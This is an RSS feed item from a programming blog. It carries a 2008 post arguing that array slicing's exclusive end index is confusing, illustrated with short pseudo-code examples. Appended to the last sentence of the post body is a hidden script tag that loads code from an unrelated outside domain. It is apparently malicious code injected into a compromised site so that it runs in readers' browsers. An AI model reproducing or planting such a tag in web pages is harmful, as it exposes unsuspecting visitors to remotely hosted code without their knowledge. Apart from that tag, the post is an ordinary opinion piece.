<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>jBoxer &#187; data structures</title>
	<atom:link href="http://jboxer.com/tag/data-structures/feed/" rel="self" type="application/rss+xml" />
	<link>http://jboxer.com</link>
	<description>I change the directions of small pieces of metal for a living.</description>
	<lastBuildDate>Wed, 28 Jul 2010 14:23:11 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Array Slicing is Messed Up</title>
		<link>http://jboxer.com/2008/11/array-slicing-is-messed-up/</link>
		<comments>http://jboxer.com/2008/11/array-slicing-is-messed-up/#comments</comments>
		<pubDate>Thu, 06 Nov 2008 19:41:23 +0000</pubDate>
		<dc:creator>Jake Boxer</dc:creator>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[data structures]]></category>

		<guid isPermaLink="false">http://terrorist-fist-jab.com/?p=36</guid>
		<description><![CDATA[The mechanics of array-slicing (and, by extension, string-slicing) have bothered me since my very first Computer Science class. For those of you who aren&#8217;t programmers but are braving the programmer warning, let me explain a little. Arrays in programming are essentially lists of data. For example, I could keep an array of test grades, and [...]]]></description>
			<content:encoded><![CDATA[<p>The mechanics of array-slicing (and, by extension, string-slicing) have bothered me since my very first Computer Science class. For those of you who aren&#8217;t programmers but are braving the programmer warning, let me explain a little.  Arrays in programming are essentially lists of data. For example, I could keep an array of test grades, and it might look something like this:</p>
<p><code>array = [99, 72, 85, 85, 100, 61, 88, 32]</code></p>
<p>Arrays throw beginners off a little bit, because indices are zero-based. This means that if I want to access specific elements in an array, the first element is considered element 0, the second is element 1, etc. An example using the above array:<br />
<span id="more-36"></span><br />
<code>print array[0]  # prints '99' (the 1st element in the list)<br />
print array[4]  # prints '100' (the 5th element in the list)<br />
print array[7]  # prints '32' (the 8th and last element in the list)</code></p>
<p>The concept of &#8220;array-slicing&#8221; means creating a new array out of a subsequence from a previous array. For example, a &#8220;slice&#8221; of the above array could be:</p>
<p><code>newArray = [85, 100, 61]  # a slice containing the 4th-6th elements of the original array</code></p>
<p>Most programming languages provide a function that allows you to take a &#8220;slice&#8221; of an already-existing array. They do this by asking you to specify where in the original array you&#8217;d like to start the slice, and where you&#8217;d like to end it. This is where my complaint comes in. Most languages ask you to specify two numbers: the index of the first element you want, and the index <em>after</em> the last element you want. For example, to get [85, 100, 61] out of the original array, I would do the following:</p>
<p><code>newArray = array.slice(3, 6)  # creates a new array with the 4th, 5th, and 6th elements from the original array</code></p>
<p>To me, this is silly and unnecessarily confusing. Why is the second number the index <em>after</em> the last element you want? Wouldn&#8217;t it make more sense for it to just be the index <em>of</em> the last element you want, like the first number is the index of the first element you want?</p>
<p>I&#8217;ve heard people say that this is intended to make it easier to take a slice of the last N elements in a list. This would be because of the length() function that arrays in most languages have. A quick example:</p>
<p><code>array = [99, 72, 85, 85, 100, 61, 88, 32]<br />
print array.length()  # prints '8', since there are 8 elements in the array</code></p>
<p>You can combine this with the array slicing function to take a slice of the last N elements in an array, like this:</p>
<p><code>array = [99, 72, 85, 85, 100, 61, 88, 32]<br />
newArray = array.slice(3, array.length())  # equivalent to newArray = array.slice(3, 8)</code></p>
<p>Since length() gives back the length of the list, it&#8217;s guaranteed to give back a number one higher than the highest index (since, as we said before, indices are zero-based). This means that plugging length() into the second position of the slice() function (which refers to the index <em>after</em> the last index you want) is the equivalent of saying &#8220;up to the last item in my array.&#8221;</p>
<p>So I can see the convenience of this. But I refuse to believe that this is the primary reason for this ass-backwards method of array-slicing. At least in my experience (which I admit is not comprehensive, and this may be where my misunderstanding lies), slicing the end of an array is <em>not that common</em>, and certainly not common enough to warrant the obfuscation of a commonly-used function. If array-slicing was done the way I want (where the last number refers to the index of the last element you want), it would be easy enough to do it like this:</p>
<p><code>array = [99, 72, 85, 85, 100, 61, 88, 32]<br />
newArray = array.slice(3, array.length() - 1)  # equivalent to newArray = array.slice(3, 7)</code></p>
<p>In fact, it would be even easier to provide a second version of slice() (and I believe some languages actually do this) which only asks for the first index. When the language sees that you&#8217;ve only included one index instead of two, it <em>assumes</em> that the last parameter refers to the end of the list.</p>
<p><code>array     = [99, 72, 85, 85, 100, 61, 88, 32]<br />
newArray1 = array.slice(3, 5)  # equivalent to newArray = [85, 100, 61]<br />
newArray2 = array.slice(3)     # equivalent to newArray = array.slice(3, 7) = [85, 100, 61, 88, 32]</code></p>
<p>Obviously, this is a pretty minor thing in programming; it just strikes me as weird, especially because every language does it this way. The majority of the time, when I have to do an array-slice, I look the method up online, to make sure I remember how the indexing works. It&#8217;s unusual for such a commonly-used function (besides one with lots of extra syntax, like <a href="http://www.php.net/date">date() in PHP</a>) to require a reference to the documentation on every use. I&#8217;m not suggesting that it&#8217;s straight up <em>wrong</em> and should be changed immediately; I just don&#8217;t understand why it works this way in every language.<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://jboxer.com/2008/11/array-slicing-is-messed-up/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
